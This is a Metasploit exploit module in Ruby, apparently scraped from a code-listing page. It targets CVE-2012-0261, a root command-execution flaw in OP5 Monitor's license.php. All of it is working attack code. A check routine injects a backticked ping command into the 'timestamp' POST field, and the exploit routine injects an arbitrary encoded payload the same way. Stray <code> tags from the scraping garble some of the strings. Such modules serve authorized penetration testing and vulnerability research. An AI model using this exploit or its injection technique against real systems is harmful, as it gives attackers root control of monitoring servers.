1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name'=> 'OP5 license.php Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary root command execution vulnerability in the OP5 Monitor license.php. Ekelow has confirmed that OP5 Monitor versions 5.3.5, 5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable. }, 'Author' => [ 'Peter Osterberg <j[at]vel.nu>' ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2012-0261'], ['OSVDB', '78064'], ['URL', 'http://secunia.com/advisories/47417/'], ], 'Privileged' => true, 'Payload'=> { 'DisableNops' => true, 'Space' => 1024, 'BadChars'=> '<code>\\|', 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'perl ruby python', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets'=> [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 05 2012', 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(443), OptString.new('URI', [true, "The full URI path to license.php", "/license.php"]), ], self.class) end def check vprint_status("Attempting to detect if the OP5 Monitor is vulnerable...") vprint_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") # Try running/timing 'ping localhost' to determine is system is vulnerable start = Time.now data = 'timestamp=1317050333</code>ping -c 10 127.0.0.1<code>&action=install&install=Install'; res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), 'method'=> 'POST', 'proto' => 'HTTPS', 'data'=> data, 'headers' => { 'Connection' => 'close', } }, 25) elapsed = Time.now - start if elapsed >= 5 return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}") data = 'timestamp=1317050333</code>' + payload.encoded + '`&action=install&install=Install'; res = send_request_cgi({ 'uri' => normalize_uri(datastore['URI']), 'method'=> 'POST', 'proto' => 'HTTPS', 'data'=> data, 'headers' => { 'Connection' => 'close', } }, 25) if(not res) if session_created? print_status("Session created, enjoy!") else print_error("No response from the server") end return end end end |